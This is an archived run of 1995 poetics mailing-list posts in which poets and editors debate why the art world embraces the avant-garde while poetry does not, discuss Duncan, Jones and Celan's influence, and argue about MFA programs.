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42. Charles Alexander

Re: The Art and Poetry Worlds

Tue 3 Oct 1995

I have often agreed with your surprise, Brian, at the embrace of the avant-garde in the visual arts as compared with the ignoring or ostracism of the avant-garde in the literary arts. But I don't think the question is that easy. In some ways the figures you pick out, de Kooning, Johns, Pollock, Rauschenberg, do not question the tenets of artistic genius, nor does their work question the possibilities of coherence. You may disagree with this, but I think a composition by de Kooning, for example, is a work of elegant beauty which coheres quite well (and I love the work). On the other hand, I don't think, for example, that the Fluxus artists have been embraced nearly so decisively, precisely because they question the importance of works of art. And while Dada artists are collected and shown, it seems to me that it is the objects they created that fill the halls of such as the Philadelphia Museum of Art, and that a major part of their work, or a major thrust of their work (that is, the creation of non-art, the destruction of high art) is either ignored, sidestepped, or co-opted. And I don't think any major art critics have yet ventured to think that mail artists or book artists or others who have opted out of the gallery/museum circuits are among the most important visual artists of our time (which I think they are).

The literary situation isn't that neat, either. I don't think Stein is just a footnote, although I think perhaps her elevation is just beginning. I don't know if you think of Joyce as avant-garde or not, but he has been consistently celebrated. More recently, John Ashbery has certainly been granted entry into the great canon . . ., perhaps for the wrong reasons (?).

I hope your question opens up some discussion, and I just want to point out that I don't think it's quite as neat as "avant-garde is accepted in visual arts, not in literary arts." That doesn't mean there's not a basic imbalance in here somewhere.

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

43. George Bowering
Re: The Art and Poetry Worlds
Tue 3 Oct 1995

I think that the Canadians' view of U.S. poetry is somewhat diffrent from the USAmerican one. Since the Sixties the poets of the Allen anthology (and their "successors") have been more likely up here to be taken for the main event. There are or have been some Canadians (in the poetry "wor;ld") who have from time to time espoused a few others, such as Berryman, but up here the "mainstream" US poets, as far as I can see, have never had a following or a cachet. Olson and Spicer and Duncan and O'Hara and Creeley are arguably the most popular of the postwar poets in Vancouver, for instance, if yr talking 60s etc. I think that you would have to go to an English department and talk with an ex-U.S. prof, if you wanted to find someone who had even heard of Wendell Berry (is that his name?). Years ago in Montreal I tried teaching "creative writing" for the last time (around 1968-70) and the poets they wanted to hear about were Spicer and O'Hara.

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44. Graham John Sharpe
Re: fragments, mourning & derivation (was Wild BYonder)
Tue 3 Oct 1995

while i won't jump into the heidegger chat, i can't help but place this discussion of fragments (and their relation with history (past, present & future)) in the context of David Jones WWI experience. Fragments, while perhaps easier to displace or forget, necessitate for Jones, i believe, the need to rebuild or reconstruct experience. perhaps constructing from the pieces of what once was, but not constructing that "was." It is a re-membering, as Jones himself asserts in *Epoch & Artist*

yet with any such discussion of Jones and fragments, i always recall the stretcher-bearers of *In Parenthesis*. Perhaps the poet is linked for Jones to these "Carrying-parties":

burdened bearers walk with careful feet
to jolt him as little as possible,
bearers of burdens to and from
stumble oftener, notice the lessening light,
and feel their way with more sensitive feet--
you musn't spill the precious fragments, for perhaps these
raw bones live.

g

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45. **eric pape**
Re: The Art and Poetry Worlds
Tue 3 Oct 1995

The question of visual vs. poetic modernism/postmodernism is a highly complicated issue. And one I personally would like an answer to, and have sought an answer to, but haven't found one at all. The following are perhaps some gestures towards possible answers: 1) The nature of the English language. Might it be that English, being a syntactical language is thus more referential and does not as easily abstract itself (heard this once in a seminar)? 2)Language itself. Cannot be naked bricks. Must refer. Regardless. 3)Frank O'Hara. The evil genius behind modern art and poetry. He and Lee Harvey Oswald had it all planned out. 4)Hate to say this, butthis seems most reasonable to me and that is the differential institutionalization of the various arts. Visual art was commodified by the museum system, New York based, etc., while poetry was institutionalized in the various writing programs. One was based on what could be sold, the other on what can be taught (a previous posting applies here). Realistic imagism, as that which has been taught in workshops for several decades, is a lot easier to teach. It seems as if modern art, as long as it is painted in colors easily matched with trendy interior decorating, is very commercial. I am a product of that institutionalization, and it has its utopian aspects as well as its implication in domination, etc. ad nauseum, but I can't help think that one of the reasons that poetry in American has remained at least officially stagnant for a very long time is its institutionalization. It pains me to say this, as I respect Carolyn and Gwyn, and myself (though I am certainly not at their level in any way) but we are the main part of the problem as I see it. Thanks Eric.

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46. **Tony Green**
Re: The Art and Poetry Worlds
Tue 3 Oct 1995

Going along with Charles Alexander on visual arts and poetry -- compare as institutions: art museums, dealers and collectors, Kunsthalle, auctioneers , art book publishing ----- with libraries, poets exchanging chapbooks, readings, inclusion/exclusion in academic courses

and compare say Poetics Journal or Aerial with ArtForum as magazines

the terms and conditions are very different as regards acceptance and canonization for painters and sculptors as against poets though, as Charles

Alexander notes, it's not nearly so easy for installational and conceptual artworkers, though I guess even they get more public exposure than many poets through the artmuseums. I've just been checking a list of recent art-catalogues for library purchase and that gives some idea of the extent of market-penetration by, say, Vito Acconci, Joseph Kosuth, Genevieve Cadieux, Christian Boltanski just for instances of non-painter/sculptors.

Tony Green,
e-mail: [redacted]

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47. Phillips Patrick
Re: Influence query
Tue 3 Oct 1995

Ben Friedlander is one 'non-canonical' poet who has been "influenced" by Celan. His contribution is considerable - _Time Rations_ an O Book (the only book I look for on my shelf having no title/name on the spine). Although this may not be what you seek, he is valuable for his attention to parallel veins and has translated Celan.

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48. Gwyn McVay
Re: The Art and Poetry Worlds
Tue 3 Oct 1995

Eric,

Is there a dominant American poetic that consists of first-person, strictly referential, free-verse lyrics that are narrative, personal in tone, make no use of space on the page, etc.? Yep, you bet. Have writing programs caused the dominance of that poetic? I dunno. I'm willing to consider it, but I'd also bet that were it not for the madly proliferating MFA programs, people would still be writing the same thing, but even worse.

Gwyn

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49. paul
Re: Influence query
Tue 3 Oct 1995

Allow me to move from the lurking mode for a moment and to importune those of you who are MLA members.

I have been nominated to the Division Executive Committee of the MLA in Twientient-Century American Literature.Don't know if you noticed this on your ballot, but it can't hurt to have a fellow- traveller on the board. I think that board members help select MLA panels and perhaps essays for publication.

As I haven't been elected to anyghing so organized as this since junior high school, it seems only right that this ever more revisionary Post-Poundian should second my own nomination with an electronic flourish. So, put your X next to the Kathryne Lindberg box and be among the select few who voted for someone who has recently--not all that recently-- written about Bob Kaufman and a few others of that ilk.

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50. Sheila E. Murphy

Re: Pens fall and begin to harvest

Tue 3 Oct 1995

Gale Nelson writes:

> *The question, "who are we?" was intermingled, for me, with the question, "am I part of some new coast"? And I found myself preferring the idea of a Venn Diagram, with countless circles, all overlapping in the most unexpected ways. This coast, to my mind, is a mirage. But if it does exist, I'm too cantankerous by double to navigate based on someone else's map.*

Gale, your perception of how different beings intersect seems congruent with the notion of adhocracy, a joining created to fill a current need (in contrast to the way that organizations have typically taken on a more permanent cast). While there has always been comfort (for some, at least) in more tangible-seeming (even everlasting seeming) structures and systems, I suspect that this new direction taking shape is ultimately more flexible (when not applied with steamrolling fervor) and potentially more satisfying.

This seems to apply to communities in the arts just as naturally as it does in organizations. Perhaps one of the differences worth citing might be that attempted organization-like formality has always seemed foreign when applied to artistic processes (although some semblance of formality may have been useful at times in procuring resources and the like). But with respect to patterns of making, ideas, perceptions, it's just plain silly to cluster into what sometimes seems "me-too-ism" that is thinly disguised, genuflective and tiresome.

The stronger one-to-one ties and friendships are, and the more genuine they are, the less the need for window dressing, propping up, and the like. Some

"communities" can come to feel oppressive, even if they don't start out that way, by smothering their members.

I think that the list, and the Internet in general, can provide a wonderful vehicle for linking with others and seems already to be spawning new communities. The fresher and the more genuine these come to be, the better, for me at least. I'm less eager to "nail down" a particular set of boundaries than I am to feel the richness of relating to individuals. All in time!

Sheila Murphy

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51. Charles Alexander
Re: fragments, mourning & derivation
Tue 3 Oct 1995

> *I too put this out, to see what makes sense here, and want to get into that sense of Duncan's calling himself Derivative. Always thought that comment on the back of Opening the Field interesting, "to utilize my faculties at large".....That book, so filled with sad death, black death, should've been called opening the black tomb...*
>
> *tod thilleman*

While Duncan certainly has dark moments, and while he could sometimes, wearing all black, sweep through a room quite dramatically (although this was not terribly sad), I can't agree with you about THE OPENING OF THE FIELD, or at least it seems to me you're coming close to equating the presence of death in that book with sadness and possibly a kind of dark vision. That seems far too literal, and, as Duncan writes in that book, in The Enamored Mage,

> I, late at night, facing the page
> writing my fancies in a literal age.

Death, in Duncan, partakes as much of light as of darkness, as much of joy as of sadness. The Law which is Major Mover is a law of response, and life and death, as responses to one another, become, in a sense, the same thing. In Duncan the borders are always disappearing. One is always going into despair/death to bring something out --

> O god, from me upward the cry of all grievous being
> a going up of pestilence into the crown,
> for I went down into the end of all things
> to bring up the spirit of Man before me
> to the beginnings of Love.
>
> (Out of the Black)

This is a poet of great complexity, not one of oppositions, finally, but one for whom all possibilities exist in each moment, inseparable. The depths are there, to be sure, but never alone. In a later poem, In Blood's Domaine (from the Passages series), the fever is one of death, but it is a fever, burning brightly --

Lovely then

that Death come to carry you away from the moment of this splendor
that bursts the cells of your body like a million larvae triumphant

comes to life in the fruit All the spreading seeds, the
viral array
taking oer flesh as the earth it is

and later in the same poem

What angel, what Gift of the Poem, has brought into my body

this sickness of living? Into the very Gloria of
Life's theme and variations
my own counterpart of Baudelaire's terrible Ennuie?

(My apologies if my tabs and spacing don't carry over to various people's e-mail software. I would encourage you to go to THE OPENING OF THE FIELD for all but the last poem I quote, which can be found in GROUND WORK II: IN THE DARK. One of my entries into my work was, in the early '80's, hand setting and printing "In Blood's Domaine" as a broadside for Woodland Pattern Book Center. Duncan's encouragement then was something which helped me in that work, as his encouragement in general and at other times helped me find various paths.)

It is not death which is the site of darkness in Duncan (or at least not darkness alone). But thank you for bringing this up and sending me back to Duncan's work once again, where I seem to reside periodically.

charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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52. Steve Carll
Re: 1 PM EDT
Wed 4 Oct 1995

Daniel Bouchard shouts:

> *Not guilty, my ass. Unfucking real! There: had to say it. Couldn't exactly shout it at work.*

It was pretty shocking, at least in its sudden swiftness after dragging on for all those months. Personally I still think he did it, but I can't really find fault with the jury for thinking there was a reasonable doubt. The LAPD has been notorious for its racism for decades, so no matter how overwhelming the physical and circumstantial evidence, it doesn't take a Johnny Cochran to get a jury to distrust the people who are gathering this evidence enough to come back with an acquittal. It's pretty tragic that this lesson has to come at the expense of two human lives and a lot of anguish for several families, but if we're lucky, a few police departments across the country may wake up and realize that, hey, keeping racist officers on the force just might be a LIABILITY; having them involved tends to create reasonable doubt in the minds of juries, and the DA's finding it harder to get those convictions he needs so people will VOTE for him next election! Duh!

Everyone drop this suggestion to YOUR local precinct; let's see what happens...

Steve

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53. jms
Re: The Art and Poetry Worlds
Wed 4 Oct 1995

I can't begin to answer any of these questions. But I think they are good ones and I wonder about them a lot. Like I haven't yet been able to figure out why people who like experimental design or disruptive music don't like similar things to happen with words. Or can't even begin to understand how there is something similar between the different media's manipulations.

But when I read your post Brian, I kept wondering:
what does money have to do with all this?
While the art world boom is supposed to be over
the art world (and the design industry and the music industry) still
undeniably has an economic power that poetry will never have.

Could the public's (there does seem to be some sort of public here) desire for innovative art might have something to do with the one of a kindness of art? That is my best guess.

Juliana

> *This past weekend I was reading in The New York times about the protest by "realist painters" at the Whitney Museum (their exclusion at the expense of more "experimental" and "avant-guard" artists), and realized something rather curious, which in the settling wake of our "Corn"-y debates seems interesting and relevant. (Apologies in advance for opening this back up.)*
>
> *In short, the artists at the Whitney were protesting the museums heavy preference for "non-traditional," "experimental," and "non-representational" works. What struck me while reading this is that the situation they are protesting seems to be the exact opposite of what we find in the poetry world. Whereas in the "Art World", what was "avant-guard" has become rather accepted by the "establishment" (however we choose to take that word) or at least respected, in the poetry worlds this has yet to happen to the same degree.*
>
> *This seems especially odd when one considers that much of the work in the two fields has been at many times roughly parallel in terms of techniques and concerns/issues addressed. With the exception of an Ashbery (I think, because the influence of French poetries and the ability to read him in such a light) or a Ginsberg (because of the social issues that surrounded him), who from the "avant-guard tradition" has really been embraced by the "establishment"? Why is it that Olson, Duncan, Stein, etc. seems to be mere footnotes in the history of the "establishment"'s poetry, yet Johns, de Kooning, Pollock, Rauschenberg, etc. have a decidedly more prominent position? (Okay, very rough equivalents here, but you get what I mean :)) Or, to put it another way, why is it that Bruce Nauman's recent retrospective got so much press in the art journals, and yet Michael Palmer and Lyn Hejinian (as Prof. Perloff recently pointed out) can barely even be considered for a job at a major American university? Or, yet one more way, why can Brice Marden have an article about him appear in the current Harper's Bazaar, and yet Mark Strand (as I recently heard him say at a Q&A session) claim, with no apparent shame or regret, that he had never read Palmer's _Notes for Echo Lake_? (Again, my comparisons are far from perfect, but hopefully you see what I'm saying here.)*
>
> *Is this discrepancy simply because of the differences in structure/hierarchy/economics between the two "worlds"? Or, perhaps more interestingly, might it have something to do with the nature of the two mediums? Another option? Just thought I'd throw this out there since I found it an interesting comparison....*

> *Best,*
> *Brian Cassidy*

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54. Tenney Nathanson
(no subject)
Wed 4 Oct 1995

> *Date: Tue, 3 Oct 1995 12:11:03 -0400*
> *From: "CAROLYN L. FORCHE-MATTISON" <[redacted]>*
> *Subject: Re: Influence query*
>
> *Other than Michael Palmer and Andre du Bouchet, are there other poets who might be read as having been particularly influenced by Paul Celan?*
>
> *Any recommendations would be very helpful, as I am currently discussing Celan in a graduate seminar.*
>
> *Thank you so much for any assistance.*
>
> *--Carolyn*

probably Paul Auster, though I know this via chit-chat and thus can't append any smart partikklers....

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55. Mark Roberts
Re: 1 PM EDT
Wed 4 Oct 1995

> *Not guilty, my ass. Unfucking real! There: had to say it. Couldn't exactly shout it at work.*

Who are we talking about here:

1. Your donkey ((jack)ass?)
2. A famous US poet
3. A famous NZ poet
4. A not very famous US poet
5. An obscue French anti-nuclear activist
6. A young Australian novelist who faked her ethenic background to win a swag of literary awards.

or

7. An overrated B grade US tv star and ex sports star.

just wondering

ps where do you work (shout shout?)

mark

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56. Jordan Davis
Re: The Art and Poetry Worlds
Wed 4 Oct 1995

Juliana

Money has less and less to do with it. Sales were still declining in 1993 when I quit my gallery job. Now any Saturday in soho you can find enough red dots on the wall or on the price list to reassure you that some people will keep their studios, sure. But the unquestioned alliance of capital and art seems to have stopped making new points of contact. Meanwhile, the Academy of American Poetry, the Poetry Society of America, and the 92nd St Y (three main connectors of poetry with money) are plugging along.

But there is the old idea that abstract expression tailed into fashionable design, and that any painting with words in it instantly falls to half the value it would have if it had not those words. And that words mean in a way that colors do not. So to mess around with words is to confuse. If you can do it in a fiercely adorable way, as Stein did, as say Salinger did, you can make that saleable connection. (Design for living?)

Forgot what I meant to say
Jordan

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57. Mark Wallace
identity problems in the wild blue
Wed 4 Oct 1995

I'm glad to see the subject of contemporary avant garde writing move out to embrace the intense multiplicity of poetic possibilities at the present moment--which is exactly, I would argue, one of the main "virtues" of avant garde writing of the moment. Far from closing down in the direction of one form, direction, what have you, my sense is that the avant garde is continuing to branch out in all sorts of interesting ways. I'm glad to see Gale, Sheila, Jeff, Ron, Al and others point this out in various ways.

However, while I agree also that too narrow a labelling of what a writer or a "group" of writers is doing can only end up causing damage, I'm also a little bit resistant to the implication "well, nothing can be said about my writing because I resist definition so completely that anything that can be said about what I do will inevitably be wrong." Let me make clear that no one said this exactly, but I do think that it was an assumption that might potentially arise out of some of the comments recently on this list. "Defining limits" or "labelling practices" is not the only kind of characterizing of poetic practice that is possible--characterization is, to my mind, at its best much more situational, specific, and tentative, but nonetheless valuable. There are some things specific writers are doing, and there are some things they're not doing, and some level of commentary about such things is possible. It's not correct, as for instance I think Foucault would point out, to say that poetry is absolutely resistant to other kinds of social power and social discourse, or that poets, by the multiplicity of their activities, can avoid specific activities with specific meanings. Saying that poetry has multiple meanings is not the same thing as saying poetry resists meaning, which in fact it does not--although it does resist certain notions about what meaning is.

I also think that sociological and cultural problems of any given historical moment have real effects on poetic practice. This I think is the significance of Rod Smith's comments of several days ago--that the tendency towards serial poems of a certain length (10-20 pgs?) might need to be seen in relation to the fact that for a lot of writers I know, chapbooks are possible but actual full-length bound books much less so. As Rod pointed out in his introduction to the recent Barrett Watten issue of Aerial, for Watten language poetry simply can't be understood without the context of the Vietnam war and an intense search on the part of Watten and others for a way to best respond to that particular crisis. Was that the only impetus for early Language poetry? Probably not, but it certainly has to be considered extremely important.

While resistance to easy characterizations or labelling, etc, is certainly necessary, I want to question whether or not the resistance to all characterization, even situational and specific, would really be a good tactic for poets who at this moment are trying to get first, or second books of poetry published, or who are even still struggling to get chapbooks in print. More importantly even, I want to question whether it's a good tactic for poets who care if they work gets READ. Language poetry was and is a complicated phenomena, but one of the things I value about many of the people whose names have been associated with its practice is that they were willing to discuss its cultural and political implications, and that they also saw the importance of group endeavor--that is, they saw the value of accepting tentative areas of similarity as a way of challening currently dominant relations of

cultural and aesthetic and intellectual power. "Hey, don't label me" has a certain anarchistic visceral pleasure, but it's also true that the bravery to step forward and BE LABELLED or to label oneself (for instance "Yes, I AM homosexual," or "I AM a language poet") has also been a mode of some of the most productive political and cultural action in this country.

This is a question about "anxiety of identity"--and saying "I don't have one" reveals more about the identity of the anxious than they perhaps intend.

Please continue this debate not only on e-mail by sending responses to Jeff Hansen and Elizabeth Burns at Poetic Briefs.

mark wallace

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58. Mark Wallace
my apology
Wed 4 Oct 1995

My apology about "sorry for sending a private message to the list" was actually about a private message that I found out I didn't send to the list. So everything I've said recently on this list has definitely been intended to be public.

mark wallace

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59. ULMER SPRING
poetry and visual art
Wed 4 Oct 1995

Poets we must stop feeling sorry for ourselves. I do agree that poetry deserves a greater audience, yet when I look at what is happening in the visual arts world today, the majority of the work created is directly or indirectly about fame, money, immortality. Old world values. I am more interested in representing myself, that subscribing to a system that tells me what I am. Andera Rosen, a 31 year old 'hot' gallerist in Soho, claims that (money) is all 'her artists' want. Hello! one of the reasons why I have come to love and respect poetry and the 'poetry world' is because it lacks the elitism that floods the art world. I also argue that those who are really interested in the 'avant-guard,' are those poets, artists, musicians, etc whose interests/ practices don't end within their fields. My question: what audience does one want? It's not hard to get a show in Soho if you act right - poets too. Sean Landers wrote a (bad) novel on a legal pad and exhibited it at Andrea Rosen gallery. Someone brought up the question about artists who make installations, etc and their economic status. Andrea Rosen specializes in selling 'non-sellable' art

(forgive me for using her so often as an example, but she's in my head because I heard her speak last night) and she is doing quite well, despite the recession. Many collectors buy the art she sells, but do not end up possessing it. Felix Gonzales-Torres has made billboards and collector's paid to finance his public message. I mean only to point out that economics definitely defines who is popular. There are plenty of artists who do not wish to enter the corrupt museum/gallery system, or who do not sell their work, and are hence unknown. If one's aim is to have one's work available to a large audience/ popular culture, it seems as if hypermedia could be a start to another accessiblity to creative work, without having to get that interview with/spread in such and such magazine... If one wants fame, then it seems as if another story. I struggle with hermetic and also collaborative practices, unable as yet to define my audience, other than those I know - joining this listserv is a step onto another 'coast.'

I think the visual arts has a lot to learn from poetry happenings today. In terms of community support and working together, the major poets I know/have come in contact with (Anne Waldman, Susan Howe, Leslie Scalapino, Sam Hamill, Allen Ginsberg to name a few) have been amazingly open, personal, and unpretentious which is more than I can say about those NY artists I know. I think though, that this subject of comparing the visual arts and poetry is too large and filled with too much speculation - Perhaps some people would like to address their own practices and how far reaching they are, or want them to be.

Spring Ulmer

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60. B. Cassidy
Re: The Art and Poetry Worlds
Wed 4 Oct 1995

In the article the author quotes one of the protesters who, addressing this very question said, "For the Whitney, the only good realist is a dead one."

--Brian

On Tue, 3 Oct 1995, Jordan Davis wrote:

> *Funny that they'd pick the Whitney, currently exhibiting Hopper and Stettheimer. Staying out of the current streams of thought can help you develop a strong sense of perversity.*
>
> *With love,*
> *Jordan*

↑ Index

61. Mark Wallace
even further wild blues
Wed 4 Oct 1995

I think my last comments need a short addendum. What Gale Nelson and many of the others I mention in my post are talking about is the possibility of multiple and situational identities as poets, and multiple and situational ways of reading poetry. I can't agree with them more. So my comments about the "identity of the anxious" is not directed at anyone who said anything on the poetics list but towards the potential and general danger of not discussing specific new directions in avant garde work. Recent posts have precisely discussed these new directions, which I think is great.

mark wallace

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62. H. T. KIRBY-SMITH
The Art and Poetry Worlds
Wed 4 Oct 1995

Eric Pape's convincing statement that art has been based upon what could be sold and poetry upon what could be taught, by New York dealers and by writing programs, respectively, set me to thinking about the nineteenth century.

I think maybe Baudelaire would have said the opposite of the France of his day, that art was what could be taught (in the sanctioned studios) while literature was driven by what could be sold. Most people for the last 75 years have assumed that the "salle de refuses" people, the Impressionists, the ones outside the "establishment," were in the end the only real artists, though since the Orsay opened more people are willing to look at salon paintings.

I do know that Baudelaire felt keenly the lack of any remunerative "market" for his poetry; I think his Spleen de Paris has a large element of contempt for his non-readers. Yet for all his smothered demonic romanticism here was an extraordinary formalist who often enough wrote about scenes and feelings that touch the lives of less-anguished souls. When he turned to prose poetry--as you can tell from the irony of his introduction--it was less as an experimentalist than as an outraged artist saying in effect, "Let them eat prose!"

Luckily for painters there are other places than Manhattan where one can live and work and have friends and even sell paintings. (Not speaking as a painter, but as someone some of whose friends think him foolish for buying a painting instead of a new refrigerator).

To end on an inflammatory note: hasn't Ashbery--one of the best art critics of our age, particularly in the public-education service he used to do in his

columns on art for Newsweek--hasn't Ashbery made use of dealer-like promotion for his poetry? I met James Dickey in 1958 or so when he was working for Coca-Cola and hadn't published a book; he was learning a lot from his advertising experience. Is publicity an essential part of American poetics? Is this a good thing?

Tom Kirby-Smith

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63. **B. Cassidy**
Re: The Art and Poetry Worlds
Wed 4 Oct 1995

Charles --

Thank you for your post calling me on some of my more imprecise statements. Allow me to clarify...

> *In some ways the figures you pick out, de Kooning, Johns, Pollock, Rauschenberg, do not question the tenets of artistic genius, nor does their work question the possibilities of coherence. You may disagree with this, but I think a composition by de Kooning, for example, is a work of elegant beauty which coheres quite well (and I love the work).*

Absolutely (agree, that is). But just because these artists don't question these assumptions, so much as attempt to find new ways to "cohere", does this exclude them from the "experimental" or "avant-guard"? Couldn't the same be said for many of the poets we've been talking about here (that it's not a question of assumptions so much as new methods of being "whole")? And yet, again, as I said before these roughly equivalent (to the visual artists) poets are excluded to a far greater degree.

> *On the other hand, I don't think, for example, that the Fluxus artists have been embraced nearly so decisively, precisely because they question the importance of works of art. And while Dada artists are collected and shown, it seems to me that it is the objects they created that fill the halls of such as the Philadelphia Museum of Art, and that a major part of their work, or a major thrust of their work (that is, the creation of non-art, the destruction of high art) is either ignored, sidestepped, or co-opted.*

This is true, but it seems to me that if you are a visual artist, you must still reckon with these figures. You certainly know and are aware of their work. This isn't necessarily the case in poetry, where the situation seems to be that either the "avant-guard" is dismissed out-of-hand, ignored, or, perhaps even worse, barely even known to exist. Are the Fluxus and the Dada artists often

misunderstood? Surely. But they are at least _addressed_ by the "establishment." I'm not sure the same can be said for poetry.

> *The literary situation isn't that neat, either. I don't think Stein is just a footnote, although I think perhaps her elevation is just beginning. I don't know if you think of Joyce as avant-garde or not, but he has been consistently celebrated. More recently, John Ashbery has certainly been granted entry into the great canon . . ., perhaps for the wrong reasons (?).*

I don't think that Stien is a footnote either. I do believe she is barely more than that for most of the "establishment", though. Consider: how often is GS taught for her own sake? Not as often it seems to me as she is dealt with as an "influence" on Hemingway, or as a "personality." Her work seems to take a back seat (WAY in the back) to the "IDEA" of GS and her work.

> *I hope your question opens up some discussion, and I just want to point out that I don't think it's quite as neat as "avant-garde is accepted in visual arts, not in literary arts." That doesn't mean there's not a basic imbalance in here somewhere.*

True, true. Again, thanks for the clarifications. When one is typing largely off the top of one's head (as this medium is prone to have one doing), one's ideas and thought are usually not as sharp as they could/should be.

Best,
Brian Cassidy

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64. Gale Nelson
Re: identity problems in the wild blue
Wed 4 Oct 1995

Mark,

Tactics for getting published? Write poetry that moves an editor! I have done this rarely, but would far rather see years go by between titles than understand that a book (or chapbook, or magazine entry) was driven by something other than editorial engagement.

Through paradigm press, I've just brought out Gail Sher's Kuklos, a remarkable text. It took me a few years to pull the book together (I'm equally behind on chapbooks by Bill Fuller, Ray Jordan and David Miller); of the four authors listed, I know one of them personally. I did not take into account the tactics these authors might have used to convince me that their work was necessary to be published. I found myself excited by their work, and believed that the work needed to come to light. Now, of course, I'm feeling the sense of failure that comes with overcommitment, and anxiety for the authors who are still waiting...

If poetry is a commodity, and tactics are necessary, then I'd rather throw my lot with, well, with whom?

Gale Nelson

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65. Aldon L. Nielsen
Re: Celan Salon
Wed 4 Oct 1995

Don't forget both Waldrops, Keith and Rosmarie! and Tom Mandel is an important reader of Celan, though I'd leave it to him to say whether or not there's any more direct stylistic influence -- in the sense, for example, that I read and think about and am influenced by Melvin Tolson, but don't take much that I can see from the surface style of his writing --

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66. eric pape
Re: The Art and Poetry Worlds
Wed 4 Oct 1995

Gwyn: Here's the problem as I see it: What means "worse?" THe problem is that workshops have to supply value, and to do so, it has to use some sort of uniform criteria. Up to now, that criteria has been supplied nicely by residual new criticism, even as the rest of the world moves on. As some smart folks argued not that long ago when dealing with Mr. Corn, assigning value is a questionable enterprise. But is unavoidable in the classroom situation. How else do we grade our students? So let's say we change criteria. Say to more "language based" poetries. The problem remains. We haven't changed that at all. We are still stuck with evaluation, over and over, everyday. I applaud the efforts to change from within. It is after all what I find myself doing as well, though on a much much smaller scale. There are a great deal of good things about writing programs. Not least the inclusion of voices we would never hear otherwise. Writing programs have allowed more people to write than ever before, and I may be naive, but I think that is a good thing. I revel in the proliferation of styles. What I am interested in is a way to encourage, rather than discourage, that proliferation in the workshop, but I am not sure we can do that without fundementally changing the structural limitations of the workshop (authority, administration, etc). But the fact that I am having this discussion at all with you is a very good sign. Thanks, Eric.

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67. David Kellogg
Re: my apology
Wed 4 Oct 1995

I want to apologize for not sending a public message to this list. I sent the message to one person by mistake. What was meant to be a public conversation has turned inexplicably, uncomfortably private. So remember: nothing that you read by me is meant for somebody.

Cheers,
David
~~~
~~~

As for the role of money in the visual arts, not in literary, I have some trouble swallowing that. Money plays a role in both, but a quite different one. On the one hand, to a lot of people literature consists ONLY of what the NY Times Book Review writes about plus what appears as mass market at the supermarkets. Like it or not, there's a lot of money involved in that world. And in terms of non-market literature, money has a role to play in terms of what institutions/organizations/presses get what grants, as well as how private philanthropy works in this country. The playing fields of literature are in no way free of the influence of money.

But in terms of particular writers/artists and how they are accepted or not by the "establishment" (as you put it), I think you and I have more agreement than disagreement.

> *I don't think that Stein is a footnote either. I do believe she is barely more than that for most of the "establishment", though. Consider: how often is GS taught for her own sake? Not as often it seems to me as she is dealt with as an "influence" on Hemingway, or as a "personality." Her work seems to take a back seat (WAY in the back) to the "IDEA" of GS and her work.*

I like to think this is changing, but perhaps not. I know lots of people have seen and celebrated a local production of the play GERTRUDE AND ALICE here during the last two years, and I have more than a suspicion that many of those have not read Stein, or, at most, have read only THE AUTOBIOGRAPHY OF ALICE B. TOKLAS. My guess is that's also true of those who celebrated the movie some years ago now in which Linda Hunt played Alice B. Toklas. I liked the movie, too, but it's not nearly as nice as reading Stein.

all best,
charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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70. Dodie Bellamy
Re: poetry and visual art
Wed 4 Oct 1995

I've been following the poetry and visual art discussion with much interest, since these past few years I've felt much more in tune with the visual art world than the poetry--or prose--worlds I come in contact with.

I was amused this morning when I read the following passage by Spring Ulmer:

"one of the reasons why I have come to love and respect poetry and the 'poetry world' is because it lacks the elitism that floods the art world."

I feel like a shriveled up old skeptic beside Spring's hopeful vision, but I don't see how anybody could not call the contemporary poetry world, particularly the world represented by the members of this list, elitist. I don't say that as a criticism. In fact, the elitism of avant-garde poetry, in a way, works in its favor, not financially certainly, but in terms of its growth as art. Outsiders' fear of it keeps it pure. Since I write "experimental" prose, I envy this privileged position of poetry, in terms of the common person. Not being intimidated by prose, every dope in the world seems to think they have a right to comment on prose, making the most innane declarations, tossing off grating terms such as "plot development" and "character development" with abandoned zeal. A non-writer would have to be oafish on the level of Animal House, however, to say something equally idiotic to an avant-garde poet like, "Why doesn't it rhyme?"

All of the visual artists I know are doing cutting-edge work, and most of them are on the level in their careers where it's not an incredibly big deal for them to get written about in Art Forum, for instance. Hanging out with them is lots of fun because you get to go to fabulous parties and dinners at nice restaurants, paid for by their galleries. In the poetry world, in California at least, if you're lucky, you get to juggle for a glass of $3.99-a-bottle Chilean merlot and a wedge of brie--and there's no point, ever, really, in dressing up.

Many of the artists I know are doing work that's involved with in-your-face sexuality, which is treated by (everyone but the NEA, of course) as interesting, but no big deal. That's what I'm really jealous about, artists' ability to do sexually explicit work and not somehow feel tainted or whispered about.

The conservatism in this country concerning literature is something that drives me up the wall. If there is a financial reason for the disparity between the more general acceptance of a visual avant-garde, I think it's because a piece of art is bought by one person in one large wad, while writing, for it to make any money, has to be bought by tons of people. Because of mass reproduction, the very physical form of writing is populist.

There's also something to do with most people not recognizing the materiality of words. With art, the viewer is always aware that it's made out of Something. But, with writing, I think that, other than the most sophisticated, people do not see that it's made out of words. It's about Feelings, Truth, Experience. I'm currently reading Viktor Shklovsky's Theory of Prose, which was written in 1925, and it seems to me, sadly enough, that the contents therein would still be news to most people, including most writers. I recently was a co-judge for the literary applicants to an artists' colony, and I was amazed how out of the 70 or so applications, hardly any of them, including the poets, showed any awareness that, bottom line, their material was language. The only "experimental" writer who submitted was Avery Burns, who I chose as one of my three choices. When the larger panel (who laughed at conservative visual art, and chose wild, interesting stuff), voted to reduce my choices from three to two, the panel's decision was reached quicker than OJ's jury, like instantly: no Avery. When I suggested that Avery's work would mesh well with the avant-garde composers and visual artists, the response was that they couldn't "relate" to his poetry. Like they could "relate" to music made from clanking steel objects.

Remember: wallowing in obscurity is good for the soul.

Dodie

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71. tunguska
Re: Duncan's derivation
Wed 4 Oct 1995

